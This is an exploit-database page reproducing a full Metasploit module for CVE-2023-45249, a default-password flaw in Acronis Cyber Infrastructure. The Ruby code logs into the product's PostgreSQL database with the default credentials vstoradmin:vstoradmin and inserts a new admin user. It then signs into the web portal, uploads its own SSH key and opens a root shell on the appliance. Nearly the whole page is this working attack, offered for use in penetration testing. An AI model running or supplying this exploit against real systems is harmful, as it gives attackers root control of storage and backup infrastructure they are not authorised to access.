Acronis Cyber Infrastructure Default Password Remote Code Execution

2024.10.07
Credit: h00die-gr3y
Risk: Low
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'sshkey' class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include BCrypt include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::Postgres include Msf::Exploit::Remote::SSH prepend Msf::Exploit::Remote::AutoCheck # ssh_socket attr_accessor :ssh_socket def initialize(info = {}) super( update_info( info, 'Name' => 'Acronis Cyber Infrastructure default password remote code execution', 'Description' => %q{ Acronis Cyber Infrastructure (ACI) is an IT infrastructure solution that provides storage, compute, and network resources. Businesses and Service Providers are using it for data storage, backup storage, creating and managing virtual machines and software-defined networks, running cloud-native applications in production environments. This module exploits a default password vulnerability in ACI which allow an attacker to access the ACI PostgreSQL database and gain administrative access to the ACI Web Portal. This opens the door for the attacker to upload SSH keys that enables root access to the appliance/server. This attack can be remotely executed over the WAN as long as the PostgreSQL and SSH services are exposed to the outside world. ACI versions 5.0 before build 5.0.1-61, 5.1 before build 5.1.1-71, 5.2 before build 5.2.1-69, 5.3 before build 5.3.1-53, and 5.4 before build 5.4.4-132 are vulnerable. }, 'Author' => [ 'h00die-gr3y <h00die.gr3y[at]gmail.com>', # Metasploit module 'Acronis International GmbH', # discovery ], 'References' => [ ['CVE', '2023-45249'], ['URL', 'https://security-advisory.acronis.com/advisories/SEC-6452'], ['URL', 'https://attackerkb.com/topics/T2b62daDsL/cve-2023-45249'] ], 'License' => MSF_LICENSE, 'Platform' => ['unix', 'linux'], 'Privileged' => true, 'Arch' => [ARCH_CMD], 'Targets' => [ [ 'Unix/Linux Command', { 'Platform' => ['unix', 'linux'], 'Arch' => ARCH_CMD, 'Type' => :unix_cmd } ], [ 'Interactive SSH', { 'Type' => :ssh_interact, 'DefaultOptions' => { 'PAYLOAD' => 'generic/ssh/interact' }, 'Payload' => { 'Compat' => { 'PayloadType' => 'ssh_interact' } } } ] ], 'DefaultTarget' => 0, 'DisclosureDate' => '2024-07-24', 'DefaultOptions' => { 'SSL' => true, 'RPORT' => 8888, 'USERNAME' => 'vstoradmin', 'PASSWORD' => 'vstoradmin', 'DATABASE' => 'keystone', 'SSH_TIMEOUT' => 30, 'WfsDelay' => 5 }, 'Notes' => { 'Stability' => [CRASH_SAFE], 'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS], 'Reliability' => [REPEATABLE_SESSION] } ) ) deregister_options('SQL', 'RETURN_ROWSET', 'VERBOSE') register_options([ OptString.new('TARGETURI', [true, 'Path to the Acronis Cyber Infra application', '/']), OptPort.new('DBPORT', [true, 'PostgreSQL DB port', 6432]), OptPort.new('SSHPORT', [true, 'SSH port', 22]), OptString.new('PRIV_KEY_FILE', [false, 'SSH private key file in PEM format (ssh-keygen -t rsa -b 2048 -m PEM -f <priv_key_file>)', '']) ]) register_advanced_options([ OptInt.new('ConnectTimeout', [ true, 'Maximum number of seconds to establish a TCP connection', 10]) ]) end # add an admin user to the Acronis PostgreSQL DB (keystone) using default credentials (vstoradmin:vstoradmin) def add_admin_user(username, userid, password) vprint_status("Creating admin user #{username} with userid #{userid}") # add new admin user to the user table res_query = postgres_query("INSERT INTO \"user\" VALUES(\'#{userid}\','{}','T',NULL,NULL,NULL,'default');", datastore['VERBOSE']) return false unless res_query.keys[0] == :complete # add new admin user to the local_user table res_query = postgres_query('SELECT * FROM "local_user" WHERE id = ( SELECT MAX (id) FROM "local_user" );', datastore['VERBOSE']) return false unless res_query.keys[0] == :complete id_luser = res_query[:complete].rows[0][0].to_i + 1 res_query = postgres_query("INSERT INTO \"local_user\" VALUES(\'#{id_luser}\',\'#{userid}\','default',\'#{username}\',NULL,NULL);", datastore['VERBOSE']) return false unless res_query.keys[0] == :complete # hash the password password_hash = Password.create(password) today = Date.today vprint_status("Setting password #{password} with hash #{password_hash}") res_query = postgres_query('SELECT * FROM "password" WHERE id = ( SELECT MAX (id) FROM "password" );', datastore['VERBOSE']) return false unless res_query.keys[0] == :complete id_pwd = res_query[:complete].rows[0][0].to_i + 1 res_query = postgres_query("INSERT INTO \"password\" VALUES(\'#{id_pwd}\',\'#{id_luser}\',NULL,'F',\'#{password_hash}\',0,NULL,DATE \'#{today}\');", datastore['VERBOSE']) return false unless res_query.keys[0] == :complete # Getting the admin roles and assign this to the new admin user vprint_status('Getting the admin roles') res_query = postgres_query("SELECT * FROM \"project\" WHERE name = 'admin' AND domain_id = 'default';", datastore['VERBOSE']) return false unless res_query.keys[0] == :complete id_project_role = res_query[:complete].rows[0][0] res_query = postgres_query("SELECT * FROM \"role\" WHERE name = 'admin';", datastore['VERBOSE']) return false unless res_query.keys[0] == :complete id_admin_role = res_query[:complete].rows[0][0] vprint_status("Assigning the admin roles: #{id_project_role} and #{id_admin_role}") res_query = postgres_query("INSERT INTO \"assignment\" VALUES('UserProject',\'#{userid}\',\'#{id_project_role}\',\'#{id_admin_role}\','F');", datastore['VERBOSE']) return false unless res_query.keys[0] == :complete vprint_status("Successfully created admin user #{username} with password #{password} to access the Acronis Admin Portal.") true end # create SSH session. # based on the ssh_opts can this be key or password based. # if login is successfull, return true else return false. All other errors will trigger an immediate fail def do_sshlogin(ip, user, ssh_opts) begin ::Timeout.timeout(datastore['SSH_TIMEOUT']) do self.ssh_socket = Net::SSH.start(ip, user, ssh_opts) end rescue Rex::ConnectionError fail_with(Failure::Unreachable, 'Disconnected during negotiation') rescue Net::SSH::Disconnect, ::EOFError fail_with(Failure::Disconnected, 'Timed out during negotiation') rescue Net::SSH::AuthenticationFailed return false rescue Net::SSH::Exception => e fail_with(Failure::Unknown, "SSH Error: #{e.class} : #{e.message}") end fail_with(Failure::Unknown, 'Failed to start SSH socket') unless ssh_socket return true end # login at the Acronis Cyber Infrastructure web portal def aci_login(name, pwd) post_data = { username: name.to_s, password: pwd.to_s }.to_json res = send_request_cgi({ 'method' => 'POST', 'ctype' => 'application/json', 'keep_cookies' => true, 'headers' => { 'X-Requested-With' => 'XMLHttpRequest' }, 'uri' => normalize_uri(target_uri.path, 'api', 'v2', 'login'), 'data' => post_data.to_s }) return res&.code == 200 end # returns cluster id or nil if not found def get_cluster_id res = send_request_cgi({ 'method' => 'GET', 'ctype' => 'application/json', 'keep_cookies' => true, 'headers' => { 'X-Requested-With' => 'XMLHttpRequest' }, 'uri' => normalize_uri(target_uri.path, 'api', 'v2', 'clusters') }) return unless res&.code == 200 return unless res.body.include?('data') && res.body.include?('id') # parse json response and get the version res_json = res.get_json_document return if res_json.blank? res_json['data'].each do |cluster| return cluster['id'] unless cluster['id'].nil? end end # upload the SSH public key using the cluster_id defined at the Acronis Cyber Infrastructure web portal def upload_sshkey(sshkey, cluster_id) post_data = { key: sshkey.to_s, event: { name: 'SshKeys', method: 'post', data: { key: sshkey.to_s } } }.to_json res = send_request_cgi({ 'method' => 'POST', 'ctype' => 'application/json', 'keep_cookies' => true, 'headers' => { 'X-Requested-With' => 'XMLHttpRequest' }, 'uri' => normalize_uri(target_uri.path, 'api', 'v2', cluster_id.to_s, 'ssh-keys'), 'data' => post_data.to_s }) return true if res&.code == 202 && res.body.include?('task_id') false end def execute_command(cmd, _opts = {}) Timeout.timeout(datastore['WfsDelay']) { ssh_socket.exec!(cmd) } rescue Timeout::Error @timeout = true end # return ACI version-release string or nil if not found def get_aci_version res = send_request_cgi({ 'method' => 'GET', 'ctype' => 'application/json', 'headers' => { 'X-Requested-With' => 'XMLHttpRequest' }, 'uri' => normalize_uri(target_uri.path, 'api', 'v2', 'about') }) return unless res&.code == 200 return unless res.body.include?('storage-release') # parse json response and get the version res_json = res.get_json_document return if res_json.blank? version = res_json['storage-release']['version'] return if version.nil? release = res_json['storage-release']['release'] return if release.nil? "#{version}-#{release}".gsub(/[[:space:]]/, '') end def check version_release = get_aci_version return CheckCode::Unknown('Could not retrieve the version information.') if version_release.nil? return CheckCode::Appears("Version #{version_release}") if Rex::Version.new(version_release) < Rex::Version.new('5.0.1-61') case version_release.split(/\.\d-/)[0] when '5.0' return CheckCode::Appears("Version #{version_release}") if Rex::Version.new(version_release) < Rex::Version.new('5.0.1-61') when '5.1' return CheckCode::Appears("Version #{version_release}") if Rex::Version.new(version_release) < Rex::Version.new('5.1.1-71') when '5.2' return CheckCode::Appears("Version #{version_release}") if Rex::Version.new(version_release) < Rex::Version.new('5.2.1-69') when '5.3' return CheckCode::Appears("Version #{version_release}") if Rex::Version.new(version_release) < Rex::Version.new('5.3.1-53') when '5.4' return CheckCode::Appears("Version #{version_release}") if Rex::Version.new(version_release) < Rex::Version.new('5.4.4-132') end CheckCode::Safe("Version #{version_release}") end def exploit # connect to the PostgreSQL DB with default credentials fail_with(Failure::Unreachable, "Can not connect to PostgreSQL DB on port #{datastore['DBPORT']}.") unless postgres_login({ port: datastore['DBPORT'] }) == :connected # add a new admin user username = Rex::Text.rand_text_alphanumeric(5..8).downcase userid = SecureRandom.hex password = Rex::Text.rand_password print_status("Creating admin user #{username} with password #{password} for access at the Acronis Admin Portal.") fail_with(Failure::BadConfig, "Adding admin credentials #{username}:#{password} failed.") unless add_admin_user(username, userid, password) # storing credentials at the msf database print_status('Saving admin credentials at the msf database.') store_valid_credential(user: username, private: password) # log out from the postsgreSQL DB postgres_logout if postgres_conn # create or use own SSH private key if datastore['PRIV_KEY_FILE'].blank? print_status('Creating SSH private and public key.') k = SSHKey.generate(comment: 'root') else print_status("Using your own SSH private key file: #{datastore['PRIV_KEY_FILE']} in PEM format.") fail_with(Failure::NotFound, "Can not find or open SSH private key file: #{datastore['PRIV_KEY_FILE']}") unless File.file?(File.expand_path(datastore['PRIV_KEY_FILE'])) f = File.read(File.expand_path(datastore['PRIV_KEY_FILE'])) k = SSHKey.new(f, comment: 'root') end vprint_status(k.private_key) vprint_status(k.ssh_public_key) # storing SSH public and private key at the msf database print_status('Saving SSH public and private key pair at the msf database.') store_valid_credential(user: 'ACI SSH public key', private: k.ssh_public_key) store_valid_credential(user: 'ACI SSH private key', private: k.private_key) # log in with the new admin user credentials at the Acronis Admin Portal fail_with(Failure::NoAccess, "Failed to authenticate at the Acronis Admin Portal with #{username} and #{password}") unless aci_login(username, password) # get cluster id to upload the SSH keys print_status('Getting the cluster information to upload the SSH public key at the Acronis Admin Portal.') cluster_id = get_cluster_id fail_with(Failure::NotFound, 'Can not find a cluster and retrieve the id.') if cluster_id.nil? # upload the public ssh key at the Acronis Admin Portal to enable root access via SSH print_status('Uploading SSH public key at the Acronis Admin Portal.') fail_with(Failure::NoAccess, 'Failed to upload SSH public key.') unless upload_sshkey(k.ssh_public_key, cluster_id) # login with SSH private key to establish SSH root session ssh_opts = ssh_client_defaults.merge({ auth_methods: ['publickey'], key_data: [ k.private_key ], port: datastore['SSHPORT'] }) ssh_opts.merge!(verbose: :debug) if datastore['SSH_DEBUG'] print_status('Authenticating with SSH private key.') fail_with(Failure::NoAccess, 'Failed to authenticate with SSH.') unless do_sshlogin(datastore['RHOST'], 'root', ssh_opts) print_status("Executing #{target.name} for #{datastore['PAYLOAD']}") case target['Type'] when :unix_cmd execute_command(payload.encoded) when :ssh_interact handler(ssh_socket) return end @timeout ? ssh_socket.shutdown! : ssh_socket.close end end


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top